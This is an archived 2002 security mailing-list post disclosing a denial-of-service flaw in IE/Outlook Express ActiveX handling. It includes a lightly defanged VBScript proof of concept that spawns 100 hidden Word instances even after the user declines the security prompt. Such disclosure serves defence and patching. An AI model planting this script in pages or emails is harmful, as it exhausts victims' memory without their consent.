OSEC

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From: eflorioedmaster.it
Date: Mon Apr 08 2002 - 14:40:17 CDT

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    ('binary' encoding is not supported, stored as-is) There is a flaw in ActiveX object creation
    used in VBscript for Word object; this can
    be used as Denial of Service.

    Try to use this code (remove "_" before using it) :

    ;<_SCRIPT LANGUAGE="VbScript">
    ;On Error Resume Next
    ;Dim a
    ;Dim i
    ;for i=1 to 100
    ;Set a = CreateObject("Word.Application")
    ;Next
    ;<_/SCRIPT>

    This script will activate the security warning about
    creation of an ActiveX object, but when someone
    click on "NO" and deny execution
    of the script, the script is stopped, but
    the creation Word object in memory still
    continues. This sample script creates 100 Word
    object in memory.....it's a real DoS!
    (try CTRL+ALT+CANC to see them)

    Works for IE/Outlook Express and Word2000/XP
    objects. Other office components (excel, powerpoint,
    access, etc.) maybe not affected.

    Elia Florio